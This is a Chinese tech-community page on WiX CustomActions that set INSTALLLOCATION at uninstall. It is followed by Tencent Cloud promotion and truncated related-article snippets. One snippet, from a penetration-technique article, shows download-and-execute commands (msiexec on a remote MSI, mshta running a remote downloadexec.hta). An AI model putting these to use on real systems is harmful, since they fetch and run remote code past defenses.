首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

卸载时设置了INSTALLLOCATION的CustomAction

是指在软件卸载过程中,通过自定义操作(CustomAction)来设置安装路径(INSTALLLOCATION)。

在软件安装过程中,通常会将安装路径保存在注册表或配置文件中,以便在卸载时能够正确地删除相关文件和清理系统。而有些情况下,安装路径可能需要根据用户的需求进行自定义,比如用户希望将软件安装到指定的目录。

为了实现这一需求,可以通过设置INSTALLLOCATION的CustomAction来实现。CustomAction是一种自定义操作,可以在安装或卸载过程中执行特定的操作。通过在卸载过程中设置INSTALLLOCATION,可以确保卸载时能够正确地删除安装路径下的文件和目录。

卸载时设置了INSTALLLOCATION的CustomAction的优势包括:

  1. 灵活性:允许用户根据自己的需求选择安装路径,提供了更好的用户体验。
  2. 安全性:确保卸载过程中能够正确地删除相关文件和目录,避免残留文件对系统造成影响。
  3. 可维护性:通过自定义操作,可以灵活地处理不同的卸载需求,方便后续的维护和升级。

卸载时设置了INSTALLLOCATION的CustomAction的应用场景包括:

  1. 多用户环境:在多用户环境中,不同用户可能希望将软件安装到不同的目录,通过设置INSTALLLOCATION的CustomAction可以满足用户的个性化需求。
  2. 定制化安装:某些软件可能需要根据用户的需求进行定制化安装,通过设置INSTALLLOCATION的CustomAction可以实现灵活的安装路径选择。

腾讯云相关产品和产品介绍链接地址:

腾讯云提供了一系列云计算相关的产品和服务,包括云服务器、云数据库、云存储、人工智能等。以下是一些相关产品和介绍链接地址:

  1. 云服务器(ECS):提供弹性计算能力,支持多种操作系统和应用场景。了解更多:腾讯云云服务器
  2. 云数据库(CDB):提供稳定可靠的数据库服务,支持多种数据库引擎和数据存储方式。了解更多:腾讯云云数据库
  3. 云存储(COS):提供安全可靠的对象存储服务,适用于各种数据存储和文件传输场景。了解更多:腾讯云云存储
  4. 人工智能(AI):提供丰富的人工智能服务,包括图像识别、语音识别、自然语言处理等。了解更多:腾讯云人工智能

请注意,以上链接仅供参考,具体产品和服务详情请参考腾讯云官方网站。

页面内容是否对你有帮助?
有帮助
没帮助

相关·内容

用Wix制作VSPackage安装包

--执行devenv /setup /nosetupvstemplates,把我们Package安装到vs2008里--> <CustomAction Id="CA_DeployPackage"...安装成功之后,重启VS,点击工具菜单,可以看到我们Package已经被安装进去了: ? 重新运行这个安装程序可以卸载掉我们Package。...改进安装包 虽然我们安装包已经可以用了,但还存在几个问题: 它是英文 如果用户没装VS2008,安装程序会报错 安装,不想出现license对话框 执行devenv.exe /setup.../nosetupvstemplates耗费时间比较久,但安装程序没有任何提示 要想变成中文,需要下载中文wxl文件,并作为嵌入资源把它添加到VSPackageInstaller项目中...--执行devenv /setup /nosetupvstemplates,把我们Package安装到vs2008里--> <CustomAction Id="CA_DeployPackage"

2.5K20
  • WiX安装选项--环境变量

    对系统环境更改将写入注册表,而且通常需要重启计算机才能生效。通常我们程序中也会使用环境变量,如何在WiX设置环境变量呢?...安装一个环境变量,我们就需要向Environment table中添加一条记录,其中有几个字段是必须设置: Environment - public key to be referenced from...不修改旧值或者忽略新值 在环境变量值列表开头插入一个新值. 在环境变量值列表末尾插入一个新值. 删除一个环境变量: 不管它值 只有当它值和提供值匹配....编译并安装例子程序,在系统环境变量就可以看到TestMinVar这个环境变量了,卸载这个例子程序,环境变量TestMinVar也会被删除。...Environment table 也是一个 formatted field,这也就是说环境变量值可以是来自一个属性,另一个环境变量,或者是任何一个formatted 字符串,下面的例子就是把环境变量设置

    1.4K100

    渗透技巧——从github下载文件多种方法

    Directory Id="TARGETDIR" Name="SourceDir"> <Directory Id="<em>INSTALLLOCATION</em>...Execute="deferred" Directory="TARGETDIR" ExeCommand='[cmdline]' Return="ignore" Impersonate="no"/> <CustomAction...3gstudent/test/raw/master/test.msi 注: 执行后需要手动结束进程msiexec.exe 7、mshta mshta支持http和htpps 但mshta在执行hta脚本,...类似于浏览器,会根据链接返回头进行对应解析操作,所以这里只有当返回头为html才会运行 否则会被当普通文本进行解析 对于github代码,返回格式为text/plain 如果使用如下命令执行:...成功弹出计算器 注: 该思路来自于DM_ 添加功能,实现下载执行,命令如下: mshta https://3gstudent.github.io/test/downloadexec.hta 弹框提示此计算机上安全设置禁止访问其它域数据源

    3.6K20

    WiX安装选项---开始菜单项

    ,通常包括调用应用程序快速入口和卸载应用程序项。...]payload.txt" WorkingDirectory="INSTALLLOCATION"/> <Shortcut Id="UninstallProduct...Directory里面,ProgramMenuFolder是标准<em>的</em>Windows开始菜单,第二个Directory将是在windows开始菜单下创建<em>的</em>一个菜单项,我们把它命名 为Minimal,菜单<em>的</em>快捷方式包括三个元素...:一个是Component 元素是WiX安装元素<em>的</em>原子单位,Component元素下<em>的</em>Shortcut就是快捷菜单项<em>了</em>,RemoveFolder 元素保证在<em>卸载</em>应用程序<em>的</em>时候 做相关<em>的</em>清理工作。...上面的例子中有两个快捷方式,一个是Minimal Test,另一个是Uninstall Minimal,这两个就是Windows开始菜单中所看到<em>的</em>菜单项<em>了</em>。

    1.2K100

    查询执行文件路径方法总结

    CurrentVersion\ App Paths\HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths 对于所有注册App...二:注册表Uninstall 通过安装包安装程序(非绿色版),都会在注册表中生成对应卸载信息(未遇到但不排除有没卸载信息情况)。...,我们可以找到卸载路径(UninstallString),或者在卸载注册信息里面有些也会有安装路径(InstallLocation,如下图)。...如果有InstallLocation信息,直接在目录中查询就可以找到执行文件。如果只有UninstallString信息,可以尝试在对应目录下查询执行文件,通常也是能找到。...但是对于个别程序来说,可能卸载文件目录与执行文件目录不存在相同上级目录。如果遇到这种情况,我们还可以尝试其他方法。三:开始菜单 在Windows系统开始菜单中,我们可以直接启动程序。

    2.4K30

    解决spacedesk卸载重装软件显示 指定账户已存在

    目录 情景再现 问题分析 解决方法 注意事项 ---- 转载请注明出处[小锋学长生活大爆炸],谢谢~ 情景再现 卸载或重装,像这样: 然后就回滚报错,也不知道啥问题。...初步判断应该是卸载不干净导致,很有可能是注册表里有残留。 软件在卸载或重装新版本,发现有旧注册表信息,而实际文件又不完整,从而导致报错中断。 解决方法 常规解决不行,就去尝试删除他注册表信息。...打开这个软件,找到对应要删除项,进入注册表并删除:  ​​​ 有可能还不干净,直接搜索一下,找到后删除。多运行几次,知道找不到为止。 ...删时候注意,多看一下,如果右边项还包含了其他软件内容,就不要全删了。 建议先备份注册表!!  ...然后在​ “Geek Uninstaller” ​上尝试卸载,虽然还会报错,但软件会自动扫描残余项目,继续点击删除。 当当当当,OK搞定!!! 注意事项 该方法未在其他软件上测试,请自行测试。

    94530

    解决spacedesk卸载重装软件显示 指定账户已存在

    目录情景再现问题分析解决方法注意事项----转载请注明出处[小锋学长生活大爆炸],谢谢~情景再现卸载或重装,像这样:然后就回滚报错,也不知道啥问题。问题分析网上未找到相关解决方案,因此自己尝试摸索。...初步判断应该是卸载不干净导致,很有可能是注册表里有残留。软件在卸载或重装新版本,发现有旧注册表信息,而实际文件又不完整,从而导致报错中断。解决方法常规解决不行,就去尝试删除他注册表信息。...打开这个软件,找到对应要删除项,进入注册表并删除: ​​​有可能还不干净,直接搜索一下,找到后删除。多运行几次,知道找不到为止。 ...删时候注意,多看一下,如果右边项还包含了其他软件内容,就不要全删了。建议先备份注册表!! ...然后在​ “Geek Uninstaller” ​上尝试卸载,虽然还会报错,但软件会自动扫描残余项目,继续点击删除。当当当当,OK搞定!!!注意事项该方法未在其他软件上测试,请自行测试。

    3.5K40

    手抖把Python2.7卸载,导致自己yum不可用

    摘要: 从标题就能看到我有多心如死灰,简单介绍下我是如何自残过程. ①首先因为需要部署爬虫程序,然后安装Python3. ②Python3系列和Python2系列版本不向下兼容,所以我就卸载机器自带...Python2.7,删干干净净. ③然后我下载Python3.8包. ④我开始使用yum命令安装Python3.8相关依赖. ⑤结果是发现yum不可用了,如下报错信息 网上找截图,大概类似...一.面临问题 因为卸载Python2.7不仅是yum不可用了,我ambari集群那台机器也一度陷入了瘫痪之中,web界面一片飘红,当时我有想通过命令 rm -rf /* 删了那个机器冲动.简单点说...该处理过程也适用于 yum因python版本无法使用问题,不同版本类型机器,切记把机器版本号替换一下就可以....二.检查是否删除彻底 2.1.检查Python2.7是否卸载干净 #卸载python rpm -qa|grep python|xargs rpm -ev --allmatches --nodeps

    1.2K31

    丢失8小去哪里?

    Java计算时间戳转换当前时分秒 Date date = new Date(); // 获取当前时间戳·单位毫秒·2115分32秒 long nowTime = date.getTime(); 输出时间戳...,这个时间戳时间是:【2115分32秒】。...可是时间换算完毕是13,很明显21-13=8,相差8个小时,这个时候我们就很懵逼,咋回事呢? 我记得很早以前,我还只会VB语言时候就遇到过这个问题。后来老师说,咱们是东八区我一下就明白。...原来我们在东八区,所以我们地区应该在这个时间戳基础上加上8个小时就对了。...+(minutes % 60)+"分"+seconds+"秒"); } } 输出效果: 补上8个小时就是正确时间,这个类型题在蓝桥杯上也是出现过,大家可以搜一搜,前三题,那个题目我倒是忘记了

    77110

    SAP 设置生产订单不同状态控制配置

    前面已经介绍过生产订单有很多种状态,在生产执行过程中会自动记录与更新生产订单状态,当生产订单执行到后工序时,如何通过订单状态控制业务发生?...具体步骤: 1.事务代码BS22,可以查看订单所有状态 ? 2.例如:双击状态CNF,可对CNF状态进行如下控制 ? ?...如重读主数据设置为“禁止”,则表示若订单已经CNF,不允许重读主数据,点重读主数据按钮时会报错; 如部分确认订单设置为“警告”,则表示订单已经CNF,对订单重新部分报工时会提示警告信息 3.例如:在实际工作中...每一种订单状态能够控制内容项点不同,需要实施顾问根据实际业务需要进行选配,如果这里没有的配置,那只能通过增强程序进行控制

    3.5K20

    【Oracle】手动安装和卸载Oracle,这是最全一篇!!

    自开源半年多以来,已成功为十几家中小型企业提供精准定时调度方案,经受住了生产环境考验。...写在前面 之前写过一篇在CentOS 7/8上安装Oracle文章,按照我写文章安装成功,但是卸载Oracle出现问题。今天,我就整理一篇手动安装和卸载Oracle文章吧。...环境准备 1.CentOS7 / CentOS8 64位最小化安装虚拟机环境(这里安装步骤,我就直接省略,大家自行安装虚拟机环境) 2.Oracle 11gR2 64位 Linux版安装包(关注【...-g oinstall -G oinstall,dba,asmadmin,oper -s /bin/bash -m oracle passwd oracle 上述命令执行完毕后,为oracle用户设置密码...,例如,我这里设置密码为oracle 4.解压Oracle数据库安装包 操作用户:oracle 操作目录:/home/oracle 将Oracle 11gR2安装文件上传(可以使用sftp上传)到该操作目录下面

    90530

    卸载最后一个与360有关软件:360压缩

    在这之前我一直用都是360压缩,个人感觉还是挺不错,也是我电脑上仅存一款360软件,但是这两天他进行了一次更新,我一打开压缩文件就会卡死,于是果断卸载。Goodbye!...也有可能会是我电脑原因吧 不过这并不能阻挡我换其他压缩软件,我在吾爱搜索一下,发现似乎有挺多种,7-zip,BandZip,WinRAR.........然后看到似乎Bandzip最近帖子资源挺多,于是便下载。 打开反应这些都还是很快。...支持格式: 7Z, ACE, AES, ALZ, ARJ, BH, BIN, BZ, BZ2, CAB, Compound(MSI), EGG, GZ, IMG, ISO, ISZ, LHA, LZ,...EXE), TAR, TBZ, TBZ2, TGZ, TLZ, TXZ, UDF, WIM, XPI, XZ, Z, ZIP, ZIPX, ZPAQ 总而言之目前体验似乎不错,资源网络上有,这里就不分享

    65910

    直到遇上她们我终于狠心卸载 Xshell

    直到遇上她们我终于狠心卸载 XShell! WindTerm WindTerm 是一款使用使用C语言开发跨平台SSH客户端WindTerm,完全免费用于商业和非商业用途,没有限制。...会话认证支持 SSH 自动执行。 支持 SSH ProxyCommand 或 ProxyJump。 支持SSH代理转发。...推荐这款免费终端工具 Warp Warp是一个基于Rust开发现代化终端应用,它集成了许多创新功能,为用户提供更加高效和智能终端体验。...Warp内置AI功能,这意味着它具备一些智能化特性,能够根据用户行为和习惯来优化操作,甚至可能包括自动补全命令、预测输入或提供个性化提示等。...AI 解释或调试 自定义键绑定和启动配置 从预加载主题中进行选择或设计自己主题 优点 使用体验非常自然,解决很多传统终端痛点。

    1.4K10

    windows7到windows10 流程和问题

    在alt+tab切换进程过程中能够显示进程内容,但是由于黑屏无法操作 解决方法: ctrl+shift+win+B:快速刷新屏幕,初次解决黑屏问题,现在觉得应该是系统屏幕显示出现问题 出现问题...: windows10菜单栏重要组件如开关机windows菜单,搜索功能,小娜,音量大小调节,文件资源管理器搜索功能均不能够使用 解决方法: 重新安装菜单栏功能: 参考资料网址: https://...管理员)”, 在Powershell(管理员)中,输入以下两条命令:(第二条命令需要点击回车) $manifest = (Get-AppxPackage Microsoft.WindowsStore).InstallLocation...Add-AppxPackage -DisableDevelopmentMode -Register $manifest Get-AppXPackage -AllUsers |Where-Object {$_.InstallLocation...额外资料:https://jingyan.baidu.com/article/fcb5aff7582f3eedaa4a7181.html windows10自带应用卸载与误删恢复

    59300

    LVS中Windows作为真实主机(RealServer)设置方法

    不过,万能搜索引擎很快就帮我解决,现在记录下,以便查询翻阅!...二、设置环回网卡 TCP/IP 信息 打开 Windows 7/8/Server 2008 网络和共享中心,左侧点开“更改适配器设置”,找到新增环回连接,重命名为 realserver(推荐重命名)...和 Linux 中 lo:0 一个样,将 IP 地址设置为 VIP,将掩码设置为 255.255.255.255,其余留空即可。...,网卡 stronghost 处于启用状态,这个设置可以防止跨接口转发数据包,这就表明:来自一个网络适配器请求不会被环回适配器处理,因为这个请求来自于不同网络适配器。...哦,做完以上步骤之后,就可以启动 keepalived 测试效果

    2.5K50
    领券